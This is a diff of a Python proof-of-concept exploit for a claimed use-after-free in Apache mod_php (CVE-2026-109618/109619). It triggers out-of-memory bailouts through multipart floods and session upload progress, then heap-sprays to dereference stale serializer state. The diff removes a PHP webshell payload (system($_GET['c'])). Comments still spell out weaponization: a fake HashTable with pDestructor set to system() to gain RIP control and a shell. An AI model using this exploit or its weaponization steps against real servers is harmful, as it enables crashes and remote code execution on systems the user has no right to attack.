(600, 40960), # ~24MB
|
(300, 40960),
|
||||||
(800, 40960), # ~32MB
|
(400, 40960),
|
||||||
(999, 40960), # ~40MB (max_input_vars=1000 cap)
|
(600, 40960),
|
||||||
(999, 131072), # ~130MB
|
(800, 40960),
|
||||||
|
(999, 40960),
|
||||||
|
(999, 131072),
|
||||||
]
|
]
|
||||||
for num, size in configs:
|
for num, size in configs:
|
||||||
sid = "probe" + os.urandom(4).hex()
|
sid = "probe" + os.urandom(4).hex()
|
||||||
boundary = b"PROBE" + os.urandom(4).hex().encode()
|
boundary = b"PROBE" + os.urandom(4).hex().encode()
|
||||||
body = build_oom_body(boundary, sid, "probe", num, size)
|
body = build_oom_body(boundary, num, size)
|
||||||
try:
|
try:
|
||||||
status, _ = http_post_multipart(
|
status, _ = http_post_multipart(
|
||||||
host, port, path, boundary.decode(), body,
|
host, port, path, boundary.decode(), body,
|
||||||
cookies=f"PHPSESSID={sid}", timeout=30
|
cookies=f"PHPSESSID={sid}", timeout=30,
|
||||||
)
|
)
|
||||||
if status == 500:
|
if status == 500:
|
||||||
return num, size
|
return num, size
|
||||||
@@ -260,102 +289,106 @@ def detect_memory_limit(host, port, path):
|
|||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size,
|
def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60):
|
||||||
target_pid=None):
|
|
||||||
"""
|
"""
|
||||||
Send the OOM multipart to a specific worker (or any worker).
|
Send the OOM request. Uses the same SID as Phase 1, so the progress
|
||||||
|
handler reads the large session file and OOMs during unserialize.
|
||||||
|
|
||||||
Returns (hit_target, worker_pid, status) where hit_target is True
|
Returns (status, body).
|
||||||
if we OOM'd the target_pid worker.
|
|
||||||
"""
|
"""
|
||||||
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
|
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
|
||||||
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size)
|
body = build_oom_body(boundary, num_fields, field_size)
|
||||||
|
|
||||||
status, rbody = http_post_multipart(
|
status, rbody = http_post_multipart(
|
||||||
host, port, path, boundary.decode(), body,
|
host, port, path, boundary.decode(), body,
|
||||||
cookies=f"PHPSESSID={sid}", timeout=60
|
cookies=f"PHPSESSID={sid}", timeout=timeout,
|
||||||
)
|
)
|
||||||
|
return status, rbody
|
||||||
pid = extract_pid(rbody)
|
|
||||||
hit = (target_pid is None) or (pid == target_pid)
|
|
||||||
return hit, pid, status
|
|
||||||
|
|
||||||
|
|
||||||
# ── Phase 2: Heap spray ────────────────────────────────────────────────
|
# ── Phase 3: Verify stale BG state ──────────────────────────────────
|
||||||
|
|
||||||
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ...
|
def build_verify_body(boundary):
|
||||||
# BG(serialize).data = php_serialize_data struct:
|
|
||||||
# uint32_t n (4 bytes)
|
|
||||||
# HashTable ht (56 bytes on x86_64)
|
|
||||||
# Total: 60 bytes → 64-byte bin
|
|
||||||
#
|
|
||||||
# zend_string layout:
|
|
||||||
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
|
|
||||||
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
|
|
||||||
#
|
|
||||||
# By sending POST fields with 39-char names, the zend_string allocations
|
|
||||||
# land in the same 64-byte bin, potentially reclaiming the freed
|
|
||||||
# BG(serialize).data slot.
|
|
||||||
#
|
|
||||||
# For a weaponized exploit, the spray content would be a fake
|
|
||||||
# php_serialize_data struct:
|
|
||||||
#
|
|
||||||
# struct php_serialize_data {
|
|
||||||
# uint32_t n; // offset 0: reference counter, set to 0
|
|
||||||
# // padding for alignment
|
|
||||||
# HashTable ht; // offset 8:
|
|
||||||
# // uint32_t nTableMask offset 8
|
|
||||||
# // Bucket *arData offset 16 (attacker-controlled pointer)
|
|
||||||
# // uint32_t nNumUsed offset 24
|
|
||||||
# // uint32_t nNumOfElements offset 28
|
|
||||||
# // uint32_t nTableSize offset 32
|
|
||||||
# // uint32_t nInternalPointer offset 36
|
|
||||||
# // zend_long nNextFreeElement offset 40
|
|
||||||
# // dtor_func_t pDestructor offset 48 (RIP control!)
|
|
||||||
# };
|
|
||||||
#
|
|
||||||
# pDestructor at offset 48 from the struct start is called during
|
|
||||||
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
|
|
||||||
# and placing a command string in arData, we get RCE.
|
|
||||||
|
|
||||||
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
|
|
||||||
|
|
||||||
|
|
||||||
def build_spray_body(boundary, spray_count=500):
|
|
||||||
"""
|
"""
|
||||||
Build a multipart body with many fields whose names are sized to
|
Small multipart with upload progress. Triggers the progress handler
|
||||||
land in the 64-byte ZendMM bin (same bin as BG(serialize).data).
|
on the OOM'd worker. If BG(unserialize).level is stale, the handler
|
||||||
|
reuses the freed .data pointer (UAF).
|
||||||
The field names are the spray payload. In a weaponized exploit,
|
|
||||||
these would be crafted to form a fake php_serialize_data struct
|
|
||||||
with controlled HashTable fields. Here we use recognizable patterns
|
|
||||||
for crash analysis.
|
|
||||||
"""
|
"""
|
||||||
parts = []
|
parts = []
|
||||||
for i in range(min(spray_count, 999)):
|
|
||||||
# Spray name: 39 bytes landing in 64-byte bin
|
|
||||||
# Fill with a pattern: 0x41414141... with index marker
|
|
||||||
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
|
|
||||||
# For weaponized exploit, the value would also be crafted.
|
|
||||||
# We use a recognizable pattern for heap analysis.
|
|
||||||
val = "B" * SPRAY_NAME_LEN
|
|
||||||
parts.append(build_multipart_field(
|
parts.append(build_multipart_field(
|
||||||
boundary, name.encode(), val.encode()
|
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify",
|
||||||
|
))
|
||||||
|
parts.append(build_multipart_file(
|
||||||
|
boundary, b"f", b"v.bin", b"\x00" * 1024,
|
||||||
))
|
))
|
||||||
parts.append(b"--" + boundary + b"--\r\n")
|
parts.append(b"--" + boundary + b"--\r\n")
|
||||||
return b"".join(parts)
|
return b"".join(parts)
|
||||||
|
|
||||||
|
|
||||||
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
def verify_stale_state(host, port, path, sid):
|
||||||
"""
|
"""
|
||||||
Send POST requests to the OOM'd worker to spray 64-byte allocations
|
Send a verification request. If the worker has stale BG state,
|
||||||
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data
|
php_var_unserialize_init() reuses the freed .data pointer.
|
||||||
slot with our controlled data.
|
|
||||||
|
|
||||||
Each request's field names allocate zend_strings in the 64-byte bin.
|
Returns (status, pid, body).
|
||||||
After request shutdown, these are freed back to the bin's free list.
|
"""
|
||||||
Over multiple requests, the free list order rotates, increasing the
|
boundary = b"VERIFY" + os.urandom(4).hex().encode()
|
||||||
chance that one of our allocations reclaims the target slot.
|
body = build_verify_body(boundary)
|
||||||
|
try:
|
||||||
|
status, rbody = http_post_multipart(
|
||||||
|
host, port, path, boundary.decode(), body,
|
||||||
|
cookies=f"PHPSESSID={sid}", timeout=10,
|
||||||
|
)
|
||||||
|
pid = extract_pid(rbody)
|
||||||
|
return status, pid, rbody
|
||||||
|
except (ConnectionError, socket.timeout) as e:
|
||||||
|
return 0, 0, str(e).encode()
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase 4: Heap spray + UAF trigger ────────────────────────────────
|
||||||
|
|
||||||
|
# ZendMM 64-byte bin:
|
||||||
|
# php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin
|
||||||
|
# zend_string: 24-byte header + body + 1 NUL
|
||||||
|
# For 64-byte bin: body = 64 - 24 - 1 = 39 bytes
|
||||||
|
SPRAY_NAME_LEN = 39
|
||||||
|
|
||||||
|
|
||||||
|
def build_spray_body(boundary, spray_count=500):
|
||||||
|
"""
|
||||||
|
Fields with 39-char names land in the 64-byte ZendMM bin (same bin
|
||||||
|
as BG(unserialize).data). Over multiple requests, one of these
|
||||||
|
allocations may reclaim the stale slot.
|
||||||
|
|
||||||
|
For a weaponized exploit, the spray content would form a fake
|
||||||
|
php_unserialize_data struct with controlled HashTable fields:
|
||||||
|
offset 0: uint32_t n (reference counter)
|
||||||
|
offset 8: HashTable ht
|
||||||
|
offset 16: Bucket *arData (attacker pointer)
|
||||||
|
offset 48: dtor_func_t pDestructor (RIP control)
|
||||||
|
"""
|
||||||
|
parts = []
|
||||||
|
parts.append(build_multipart_field(
|
||||||
|
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray",
|
||||||
|
))
|
||||||
|
for i in range(min(spray_count, 999)):
|
||||||
|
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
|
||||||
|
val = "B" * SPRAY_NAME_LEN
|
||||||
|
parts.append(build_multipart_field(
|
||||||
|
boundary, name.encode(), val.encode(),
|
||||||
|
))
|
||||||
|
parts.append(build_multipart_file(
|
||||||
|
boundary, b"f", b"spray.bin", b"\x00" * 1024,
|
||||||
|
))
|
||||||
|
parts.append(b"--" + boundary + b"--\r\n")
|
||||||
|
return b"".join(parts)
|
||||||
|
|
||||||
|
|
||||||
|
def heap_spray(host, port, path, sid, target_pid, rounds=10,
|
||||||
|
spray_per_round=500):
|
||||||
|
"""
|
||||||
|
Spray 64-byte allocations into the OOM'd worker to reclaim the
|
||||||
|
stale BG(unserialize).data slot.
|
||||||
|
|
||||||
Returns the number of rounds that hit the target worker.
|
Returns the number of rounds that hit the target worker.
|
||||||
"""
|
"""
|
||||||
@@ -366,7 +399,7 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
|||||||
try:
|
try:
|
||||||
status, rbody = http_post_multipart(
|
status, rbody = http_post_multipart(
|
||||||
host, port, path, boundary.decode(), body,
|
host, port, path, boundary.decode(), body,
|
||||||
timeout=10
|
cookies=f"PHPSESSID={sid}", timeout=10,
|
||||||
)
|
)
|
||||||
pid = extract_pid(rbody)
|
pid = extract_pid(rbody)
|
||||||
if pid == target_pid:
|
if pid == target_pid:
|
||||||
@@ -376,121 +409,70 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
|||||||
return hits
|
return hits
|
||||||
|
|
||||||
|
|
||||||
# ── Phase 3: Trigger UAF ───────────────────────────────────────────────
|
# ── Session file inspection ──────────────────────────────────────────
|
||||||
|
|
||||||
def trigger_uaf(host, port, path, target_pid, sid):
|
|
||||||
"""
|
|
||||||
Send multipart with upload progress to the OOM'd worker.
|
|
||||||
The progress handler calls php_session_rfc1867_update() which calls
|
|
||||||
php_session_encode() → php_var_serialize_init().
|
|
||||||
|
|
||||||
php_var_serialize_init checks BG(serialize).level:
|
|
||||||
- If > 0 (stale from OOM): increments level, reuses .data pointer
|
|
||||||
- The .data pointer was freed when the old heap was destroyed
|
|
||||||
- If heap spray reclaimed the slot, .data now contains our spray
|
|
||||||
|
|
||||||
The serialize code treats .data as a php_serialize_data struct with
|
|
||||||
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
|
|
||||||
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
|
|
||||||
calls our function pointer → RIP control.
|
|
||||||
|
|
||||||
Returns (status, pid, body).
|
|
||||||
"""
|
|
||||||
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
|
|
||||||
|
|
||||||
parts = []
|
|
||||||
parts.append(build_multipart_field(
|
|
||||||
boundary,
|
|
||||||
b"PHP_SESSION_UPLOAD_PROGRESS",
|
|
||||||
b"trigger",
|
|
||||||
))
|
|
||||||
parts.append(build_multipart_file(
|
|
||||||
boundary, b"f", b"t.bin", b"\x00" * 1024
|
|
||||||
))
|
|
||||||
parts.append(b"--" + boundary + b"--\r\n")
|
|
||||||
body = b"".join(parts)
|
|
||||||
|
|
||||||
try:
|
|
||||||
status, rbody = http_post_multipart(
|
|
||||||
host, port, path, boundary.decode(), body,
|
|
||||||
cookies=f"PHPSESSID={sid}", timeout=10
|
|
||||||
)
|
|
||||||
pid = extract_pid(rbody)
|
|
||||||
return status, pid, rbody
|
|
||||||
except (ConnectionError, socket.timeout) as e:
|
|
||||||
return 0, 0, str(e).encode()
|
|
||||||
|
|
||||||
|
|
||||||
# ── Session file check ─────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def check_session_file(sid, save_path="/tmp"):
|
def check_session_file(sid, save_path="/tmp"):
|
||||||
"""
|
"""
|
||||||
Check if the session file persists with PHP code.
|
Read the session file. Returns (exists, size, data_preview).
|
||||||
Session files may be owned by www-data, so this may need elevated
|
|
||||||
privileges. Returns (exists, has_php_code, data).
|
|
||||||
"""
|
"""
|
||||||
path = os.path.join(save_path, f"sess_{sid}")
|
path = os.path.join(save_path, f"sess_{sid}")
|
||||||
try:
|
try:
|
||||||
with open(path, "rb") as f:
|
with open(path, "rb") as f:
|
||||||
data = f.read()
|
data = f.read()
|
||||||
return True, b"<?php" in data or b"system" in data, data
|
return True, len(data), data[:300]
|
||||||
except PermissionError:
|
except PermissionError:
|
||||||
try:
|
try:
|
||||||
result = subprocess.run(
|
result = subprocess.run(
|
||||||
["sudo", "cat", path],
|
["sudo", "cat", path],
|
||||||
capture_output=True, timeout=5
|
capture_output=True, timeout=5,
|
||||||
)
|
)
|
||||||
data = result.stdout
|
data = result.stdout
|
||||||
if data:
|
if data:
|
||||||
return True, b"<?php" in data or b"system" in data, data
|
return True, len(data), data[:300]
|
||||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||||
pass
|
pass
|
||||||
return True, False, b"(permission denied)"
|
return True, 0, b"(permission denied)"
|
||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
return False, False, b""
|
return False, 0, b""
|
||||||
|
|
||||||
|
|
||||||
# ── Main ────────────────────────────────────────────────────────────────
|
# ── Main ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
parser = argparse.ArgumentParser(
|
parser = argparse.ArgumentParser(
|
||||||
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)"
|
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--target", "-t", required=True,
|
"--target", "-t", required=True,
|
||||||
help="Target URL, e.g. http://host:port/index.php"
|
help="Target URL, e.g. http://host:port/index.php",
|
||||||
)
|
|
||||||
parser.add_argument(
|
|
||||||
"--cmd", default="id",
|
|
||||||
help="Command to embed in session payload (default: id)"
|
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--session-path", default="/var/www/uaf-test/sessions",
|
"--session-path", default="/var/www/uaf-test/sessions",
|
||||||
help="Session save_path on the target"
|
help="Session save_path on the target",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--progress-size", type=int, default=500000,
|
||||||
|
help="Size of PHP_SESSION_UPLOAD_PROGRESS value in bytes (default: 500000)",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--oom-fields", type=int, default=0,
|
"--oom-fields", type=int, default=0,
|
||||||
help="Number of OOM fields (0 = auto-detect)"
|
help="Number of OOM fields (0 = auto-detect)",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--field-size", type=int, default=40960,
|
"--field-size", type=int, default=40960,
|
||||||
help="OOM field value size in bytes (default: 40960)"
|
help="OOM field value size in bytes (default: 40960)",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--spray-rounds", type=int, default=20,
|
"--spray-rounds", type=int, default=20,
|
||||||
help="Number of heap spray rounds (default: 20)"
|
help="Number of heap spray rounds (default: 20)",
|
||||||
)
|
|
||||||
parser.add_argument(
|
|
||||||
"--trigger-rounds", type=int, default=50,
|
|
||||||
help="Number of UAF trigger attempts (default: 50)"
|
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--oom-only", action="store_true",
|
"--oom-only", action="store_true",
|
||||||
help="Only run Phase 1 (OOM + session poison), skip spray/trigger"
|
help="Stop after Phase 2 (OOM + stale state), skip spray",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--crash-test", action="store_true",
|
"--crash-test", action="store_true",
|
||||||
help="Run full chain and report whether a crash occurs"
|
help="Run full chain including heap spray and report crashes",
|
||||||
)
|
)
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
@@ -499,15 +481,12 @@ def main():
|
|||||||
port = url.port or 80
|
port = url.port or 80
|
||||||
path = url.path or "/index.php"
|
path = url.path or "/index.php"
|
||||||
|
|
||||||
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
|
|
||||||
|
|
||||||
print("=" * 64)
|
print("=" * 64)
|
||||||
print(" CVE-2026-109618 / CVE-2026-109619")
|
print(" CVE-2026-109618 / CVE-2026-109619")
|
||||||
print(" Use-After-Free RCE via OOM Bailout")
|
print(" Use-After-Free via OOM Bailout")
|
||||||
print(" (Apache mod_php, prefork MPM)")
|
print(" (Apache mod_php, prefork MPM)")
|
||||||
print("=" * 64)
|
print("=" * 64)
|
||||||
print(f" Target: {host}:{port}{path}")
|
print(f" Target: {host}:{port}{path}")
|
||||||
print(f" Payload: {args.cmd}")
|
|
||||||
print()
|
print()
|
||||||
|
|
||||||
# ── Phase 0: Worker discovery ───────────────────────────────────
|
# ── Phase 0: Worker discovery ───────────────────────────────────
|
||||||
@@ -515,52 +494,73 @@ def main():
|
|||||||
print("[*] Phase 0: Discovering workers...")
|
print("[*] Phase 0: Discovering workers...")
|
||||||
pids = find_workers(host, port, path)
|
pids = find_workers(host, port, path)
|
||||||
if not pids:
|
if not pids:
|
||||||
print("[-] No workers found. Is the target running mod_php?")
|
print("[-] No workers found. Target must echo getmypid() in output.")
|
||||||
print(" (The target must echo getmypid() in its output.)")
|
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
print(f" Workers: {pids}")
|
print(f" Workers: {pids}")
|
||||||
print(f" Count: {len(pids)} (Apache prefork children)")
|
print(f" Count: {len(pids)} (Apache prefork children)")
|
||||||
|
|
||||||
# ── Phase 1: OOM trigger ────────────────────────────────────────
|
# ── Phase 1: Create large session file ──────────────────────────
|
||||||
|
|
||||||
print()
|
print()
|
||||||
print("[*] Phase 1: OOM trigger + session poisoning")
|
print("[*] Phase 1: Creating large session file...")
|
||||||
|
|
||||||
|
sid = "uaf" + os.urandom(6).hex()
|
||||||
|
progress_kb = args.progress_size // 1024
|
||||||
|
print(f" SID: {sid}")
|
||||||
|
print(f" Progress value: {progress_kb}KB")
|
||||||
|
|
||||||
|
status1, body1, pid1 = create_large_session(
|
||||||
|
host, port, path, sid, args.progress_size,
|
||||||
|
)
|
||||||
|
print(f" Status: {status1}, Worker PID: {pid1}")
|
||||||
|
|
||||||
|
exists, size, preview = check_session_file(sid, args.session_path)
|
||||||
|
if not exists or size < 1000:
|
||||||
|
print(f"[-] Session file missing or too small ({size}B).")
|
||||||
|
print(f" Is session.upload_progress.enabled=1?")
|
||||||
|
print(f" Is session.save_path = {args.session_path}?")
|
||||||
|
sys.exit(1)
|
||||||
|
print(f" [+] Session file: {size}B ({size//1024}KB)")
|
||||||
|
print(f" Preview: {preview[:120]}")
|
||||||
|
|
||||||
|
# ── Phase 2: OOM during session re-init ─────────────────────────
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Phase 2: OOM during session unserialize...")
|
||||||
|
|
||||||
if args.oom_fields:
|
if args.oom_fields:
|
||||||
num_fields = args.oom_fields
|
num_fields = args.oom_fields
|
||||||
field_size = args.field_size
|
field_size = args.field_size
|
||||||
print(f" Using configured: {num_fields} fields x {field_size}B")
|
print(f" Using configured: {num_fields} fields x {field_size}B")
|
||||||
else:
|
else:
|
||||||
print(" Auto-detecting memory_limit...")
|
print(" Auto-detecting OOM threshold...")
|
||||||
result = detect_memory_limit(host, port, path)
|
result = detect_memory_limit(host, port, path)
|
||||||
if result is None:
|
if result is None:
|
||||||
print("[-] Could not trigger OOM. memory_limit may be too high")
|
print("[-] Could not trigger OOM. memory_limit may be too high.")
|
||||||
print(" or max_input_vars too low. Try --oom-fields manually.")
|
print(" Try --oom-fields manually.")
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
num_fields, field_size = result
|
num_fields, field_size = result
|
||||||
est_mb = num_fields * field_size / 1024 / 1024
|
est_mb = num_fields * field_size / 1024 / 1024
|
||||||
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
|
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
|
||||||
|
|
||||||
# OOM each worker by sending requests until all have been hit.
|
# Reduce field count slightly so memory fills close to the limit
|
||||||
# We cannot target a specific worker (500 responses have no PID),
|
# but doesn't OOM before the file upload triggers the progress
|
||||||
# so we OOM repeatedly and track which workers survived.
|
# handler. The session re-read of the ~500KB file pushes over.
|
||||||
poisoned_workers = {}
|
adjusted = max(num_fields - 10, num_fields * 9 // 10)
|
||||||
sids_used = []
|
print(f" Adjusted to {adjusted} fields (leave room for session read OOM)")
|
||||||
max_oom_attempts = len(pids) * 8
|
|
||||||
|
max_oom_attempts = len(pids) * 6
|
||||||
|
oom_workers = set()
|
||||||
|
|
||||||
for attempt in range(max_oom_attempts):
|
for attempt in range(max_oom_attempts):
|
||||||
sid = "uaf" + os.urandom(6).hex()
|
status, _ = trigger_oom(
|
||||||
sids_used.append(sid)
|
host, port, path, sid, adjusted, field_size,
|
||||||
|
|
||||||
_, _, status = trigger_oom(
|
|
||||||
host, port, path, sid, php_payload,
|
|
||||||
num_fields, field_size
|
|
||||||
)
|
)
|
||||||
|
|
||||||
if status == 500:
|
if status == 500:
|
||||||
print(f" [{attempt+1}] OOM triggered (status 500)")
|
print(f" [{attempt+1}] OOM triggered (status 500)")
|
||||||
elif status == 0:
|
elif status == 0:
|
||||||
print(f" [{attempt+1}] Connection error (worker may have died)")
|
print(f" [{attempt+1}] Connection error (worker may have crashed)")
|
||||||
else:
|
else:
|
||||||
print(f" [{attempt+1}] status={status} (no OOM)")
|
print(f" [{attempt+1}] status={status} (no OOM)")
|
||||||
continue
|
continue
|
||||||
@@ -571,117 +571,131 @@ def main():
|
|||||||
new_workers = set(pids_after) - set(pids)
|
new_workers = set(pids_after) - set(pids)
|
||||||
|
|
||||||
for pid in survived:
|
for pid in survived:
|
||||||
if pid not in poisoned_workers:
|
if pid not in oom_workers:
|
||||||
poisoned_workers[pid] = sid
|
oom_workers.add(pid)
|
||||||
print(f" [+] Worker {pid} survived OOM (stale BG state)")
|
print(f" [+] Worker {pid} survived OOM (stale BG state)")
|
||||||
|
|
||||||
if new_workers:
|
if new_workers:
|
||||||
print(f" New workers spawned: {sorted(new_workers)}")
|
print(f" New workers: {sorted(new_workers)}")
|
||||||
pids = sorted(set(pids) | new_workers)
|
pids = sorted(set(pids) | new_workers)
|
||||||
|
|
||||||
# Check session file for the latest SID
|
if not oom_workers:
|
||||||
exists, has_php, data = check_session_file(sid, args.session_path)
|
print()
|
||||||
if exists and has_php:
|
print("[-] No workers survived OOM.")
|
||||||
print(f" [+] Session file: {len(data)}B with PHP code")
|
print(" This target may use PHP-FPM (workers exit on bailout).")
|
||||||
if data and data != b"(permission denied)":
|
|
||||||
print(f" Content: {data[:120]}")
|
|
||||||
elif exists:
|
|
||||||
print(f" Session file: {len(data)}B (no PHP code?)")
|
|
||||||
|
|
||||||
if len(poisoned_workers) >= len(pids):
|
|
||||||
print(f"\n All {len(pids)} workers poisoned!")
|
|
||||||
break
|
|
||||||
|
|
||||||
if not poisoned_workers:
|
|
||||||
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
|
|
||||||
print(" not Apache mod_php with prefork MPM.")
|
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}")
|
print(f"\n Survived workers: {sorted(oom_workers)}")
|
||||||
|
|
||||||
|
# Check if session file still has the large content (unchanged
|
||||||
|
# means OOM happened during session re-init, not after flush)
|
||||||
|
exists2, size2, preview2 = check_session_file(sid, args.session_path)
|
||||||
|
if exists2 and abs(size2 - size) < 100:
|
||||||
|
print(f" [+] Session file unchanged ({size2}B)")
|
||||||
|
print(f" OOM during session re-init confirmed")
|
||||||
|
|
||||||
|
# ── Phase 3: Verify stale BG state ──────────────────────────────
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Phase 3: Verifying stale BG(unserialize) state...")
|
||||||
|
|
||||||
|
verified_pids = set()
|
||||||
|
for attempt in range(len(pids) * 4):
|
||||||
|
status, pid, body = verify_stale_state(host, port, path, sid)
|
||||||
|
|
||||||
|
if pid in oom_workers and pid not in verified_pids:
|
||||||
|
if status == 0:
|
||||||
|
print(f" [+] Worker {pid} CRASHED on verification request!")
|
||||||
|
print(f" UAF triggered: stale .data pointer dereferenced")
|
||||||
|
verified_pids.add(pid)
|
||||||
|
elif status == 500:
|
||||||
|
print(f" [+] Worker {pid} returned 500 (OOM from large session read)")
|
||||||
|
print(f" Stale BG state confirmed (session still active)")
|
||||||
|
verified_pids.add(pid)
|
||||||
|
elif status == 200:
|
||||||
|
print(f" [+] Worker {pid} returned 200 (stale pointer readable)")
|
||||||
|
print(f" UAF window open: .data points into reused heap")
|
||||||
|
verified_pids.add(pid)
|
||||||
|
|
||||||
|
if verified_pids >= oom_workers:
|
||||||
|
break
|
||||||
|
|
||||||
|
if not verified_pids:
|
||||||
|
print(" Could not hit OOM'd workers for verification.")
|
||||||
|
print(" (May need more attempts with more workers)")
|
||||||
|
|
||||||
if args.oom_only:
|
if args.oom_only:
|
||||||
print("\n[*] --oom-only: stopping after Phase 1.")
|
print()
|
||||||
print(" Confirmed primitives:")
|
print("[*] --oom-only: stopping after Phase 3.")
|
||||||
print(" - OOM via multipart field flood")
|
print_summary(oom_workers, verified_pids, False)
|
||||||
print(" - Worker survival (Apache prefork)")
|
|
||||||
print(" - Session file persistence with PHP code")
|
|
||||||
print(" - Stale BG(serialize) state in surviving workers")
|
|
||||||
return
|
return
|
||||||
|
|
||||||
# ── Phase 2: Heap spray ─────────────────────────────────────────
|
# ── Phase 4: Heap spray + UAF trigger ───────────────────────────
|
||||||
|
|
||||||
|
if args.crash_test:
|
||||||
print()
|
print()
|
||||||
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)")
|
print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...")
|
||||||
|
|
||||||
|
for target_pid in sorted(oom_workers):
|
||||||
|
if target_pid not in find_workers(host, port, path):
|
||||||
|
print(f" Worker {target_pid} already gone, skipping")
|
||||||
|
continue
|
||||||
|
|
||||||
for target_pid, sid in poisoned_workers.items():
|
|
||||||
print(f"\n Spraying worker {target_pid}...")
|
print(f"\n Spraying worker {target_pid}...")
|
||||||
hits = heap_spray(host, port, path, target_pid,
|
spray_sid = "spray" + os.urandom(5).hex()
|
||||||
rounds=args.spray_rounds)
|
hits = heap_spray(
|
||||||
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}")
|
host, port, path, spray_sid, target_pid,
|
||||||
|
rounds=args.spray_rounds,
|
||||||
# ── Phase 3: Trigger UAF ────────────────────────────────────
|
|
||||||
|
|
||||||
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
|
|
||||||
|
|
||||||
crashed = False
|
|
||||||
trigger_sid = "trig" + os.urandom(6).hex()
|
|
||||||
for attempt in range(args.trigger_rounds):
|
|
||||||
status, pid, body = trigger_uaf(
|
|
||||||
host, port, path, target_pid, trigger_sid
|
|
||||||
)
|
)
|
||||||
if status == 0 or status >= 500:
|
print(f" Spray rounds on target: {hits}/{args.spray_rounds}")
|
||||||
print(f" [!] Worker crash on attempt {attempt+1}! "
|
|
||||||
f"status={status}")
|
print(f" Triggering UAF...")
|
||||||
crashed = True
|
for t in range(20):
|
||||||
|
status, pid, body = verify_stale_state(
|
||||||
|
host, port, path, sid,
|
||||||
|
)
|
||||||
|
if pid == target_pid:
|
||||||
|
if status == 0:
|
||||||
|
print(f" [!] CRASH on trigger {t+1}!")
|
||||||
break
|
break
|
||||||
if pid == target_pid and attempt < 5:
|
elif status >= 500:
|
||||||
print(f" Attempt {attempt+1}: hit target, status={status}")
|
print(f" Trigger {t+1}: status {status} on target")
|
||||||
|
|
||||||
if crashed:
|
pids_check = find_workers(host, port, path)
|
||||||
pids_final = find_workers(host, port, path)
|
if target_pid not in pids_check:
|
||||||
if target_pid not in pids_final:
|
print(f" [+] Worker {target_pid} CRASHED (UAF dereference)")
|
||||||
print(f" [+] CONFIRMED: Worker {target_pid} crashed!")
|
print(f" Current workers: {pids_check}")
|
||||||
print(f" [+] UAF triggered via stale BG(serialize).data")
|
|
||||||
print(f" Current workers: {pids_final}")
|
|
||||||
print()
|
|
||||||
print(" For full RCE, a weaponized exploit would:")
|
|
||||||
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
|
|
||||||
print(" 2. Construct fake HashTable with pDestructor = system()")
|
|
||||||
print(" 3. Place command string in arData")
|
|
||||||
print(" 4. Trigger serialize → pDestructor called → shell")
|
|
||||||
else:
|
else:
|
||||||
print(f" Worker {target_pid} returned 500 but is still alive")
|
print(f" Worker {target_pid} still alive (no crash)")
|
||||||
print(f" (May need more precise heap feng shui)")
|
print(f" Expected: precise heap feng shui needed for crash")
|
||||||
else:
|
|
||||||
print(f" No crash after {args.trigger_rounds} attempts.")
|
|
||||||
print(f" The stale pointer likely still holds readable data.")
|
|
||||||
print()
|
|
||||||
